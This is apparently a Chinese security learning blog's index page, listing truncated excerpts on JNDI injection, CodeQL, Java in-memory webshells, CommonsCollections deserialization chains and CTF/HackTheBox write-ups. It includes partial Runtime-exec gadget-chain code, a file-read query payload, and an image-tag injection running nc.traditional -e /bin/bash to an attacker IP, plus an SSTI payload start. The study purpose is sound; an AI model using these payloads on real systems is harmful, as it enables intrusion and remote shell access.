jndi注入
前言前段时间跟着P牛学了rmi,最近又出了个Log4j2核弹漏洞,就想着要把jndi学了,毕竟类似fastjson、shiro的漏洞都会用到。
jndi简介JNDI(Java Naming and Directory Interface)
是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1& ...
codql初次尝试
前言老是看师傅萌使用codeql来做代码审计,小菜鸡表示也想尝试尝试,刚好一时兴起,说干就干!
codeql 介绍CodeQL是一个分析引擎,被开发人员用来自动进行安全检查,也被安全研究人员用来进行变体分析。
对做安全的师傅来说其实就是帮助我们进行代码审计
codeql使用安装首先将codeql已经编译好的程序下载到本地
https://github.com/github/codeql-cli-binaries/releases
再将ql的语言工具包下载到本地
https://github.com/Semmle/ql
为了方便可以将codeql目录添加为环境变量
接着我们去vscode添加codeql插件
并点击插件设置
将codeql执行文件的可执行文件目录填入
使用我们参考l4yn3 的文章使用java的靶场https://github.com/l4yn3/micro_service_seclab/(本来想写go的,但是不熟悉go,菜🐔还是放弃了)
首先将原文件下载到本地并使用codeql编译
编译之前要将数据库文件导入,并且将mybatis配置以及application. ...
filter 内存马
filter 内存马上一篇我们介绍了一些基础知识。
我们正常使用内存马肯定不能去ServletContextListener中动态注册,我们基本职能在servlet中编辑或者上传jsp类的文件,那么我们该如何实现内存马呢
这个时候我们需要去分析一下加载filter的流程
我们需要先知道几个变量和类
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类, ...
java 学习日程(内存马)
内存马(基础知识)前言前面我跟随P牛的脚步看了一些反序列化,当然还有很多链没有跟着分析,可能考虑后面再接着跟。今天开始打算对java内存马进行一个系统化的学习,并记录一些学习过程中的知识点。
内存马是一种无文件落地马,相对于原来的普通木马有隐蔽性强的特点,原来的木马由于新webshell检测技术也更容易被检测到,随着冰蝎的java agent 类型的内存马出现,内存马又出现在大众的眼中。
目前主要的内存马方式有以下几种方式:
动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
动态注册 interceptor/controller(使用框架如 spring/struts2)
动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
使用 java agent 技术写入字节码
基础介绍servletservlet介绍借用菜鸟教程的介绍:
Java Servlet 是运行在 Web 服务器或应用服务器上 ...
java 学习日程(动态加载字节码)
day7—动态加载字节码
ClassLoader 是什么呢?它就是一个“加载器”,告诉Java虚拟机如何加载这个类。Java默认的 ClassLoader 就是根据类名来加载类,这个类名是类完整路径,如 java.lang.Runtime 。
URLClassLoader加载远程class文件
URLClassLoader继承于SecureClassLoader,支持从jar文件和文件夹中获取class,继承于ClassLoader,加载时首先去ClassLoader里判断是否由启动类加载器加载过。
java会根据配置项sun.boot.class.path 和 java.class.path 中列举到的基础路径(我们设置的ClassPath和从其他途径导入的)
URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件
URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件
URL以斜杠 / 结尾,且协议名不是 file ,则使用最基 ...
java 学习日程(CommonsCollections6)
day6—反序列化(CommonsCollections6)我们上一篇文章看过了CC1的链,我们继续跟随P牛的进度,来看看CC6,这条链主要是为了解决我们所说的在高版本JDK中无法使用AnnotationInvocationHandler,我们首先还是看一看P牛简化出来的链
12345678910111213141516Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashMap.readObject() java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() ...
java 学习日程(lazyMap)
day5—反序列化(lazyMap)lazyMap我们接着跟随P牛学习反序列化。前面P牛给我们介绍了利用TransformedMap去构造CommonCollections1的利用链,但当我们看到ysoserial中时,会发现它并不是利用TransformedMap去构造的,二十利用到了另一个类lazyMap,那我们今天就去学习如何利用lazyMap去构造一个正经的CommonCollections1利用链
12345678ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] { (Transformer)new ConstantTransformer(Integer.valueOf(1)) });Transformer[] transformers = { (Transformer)new ConstantTransformer(Runtime.class), (Transformer)new InvokerTransformer("ge ...
java 学习日程(TransformedMap)
day4—反序列化(TransformedMap)前面我们只介绍了如何利用某些类中的方法来执行命令,但是反序列化的关键在于如何将最后的对象生成为一个序列化流,也就是我们所需要的POC
我们说过当一个对象生成序列化流的时候会调用类中的writeObject方法,而反序列化的时候会调用readObject方法,那么我们就需要找到一个可以利用的类
我们编写一个序列化流的poc
1234567891011121314151617Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), ...
DASCTF
审计源码发现有变量覆盖漏洞,可以把template覆盖,配合file_get_contents造成任意文件读取
尝试读template.php
1?var[template][1]=template.php&tp=1
123456789101112131415161718192021222324252627282930313233343536373839<?phpclass Template{ public $content; public $pattern; public $suffix; public function __construct($content){ $this->content = $content; $this->pattern = "/{{([a-z]+)}}/"; $this->suffix = ".html"; } public funct ...
Docter
需要添加一条hosts
10.10.10.209 doctors.htb
首先nmap扫一波
有登录框,注册一个用户,登陆上有一个留言界面,看大佬可以XSS反弹shell(:
ps:涉及到我的知识盲区了
利用的是nc的-e``-c,只有在nc.traditional版本中才有,而正常的ubuntu发行版是nc.openbsd
不带-e``-c
利用
1<img src=http://10.10.14.2/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.2'$IFS'4444')>
成功弹到shell,可以用python建立一个伪终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
看大佬还可以用ssti
在/archive页面可以触发
同样可以反弹shell
1{{''.__class__.__mro__[1].__subclasses_ ...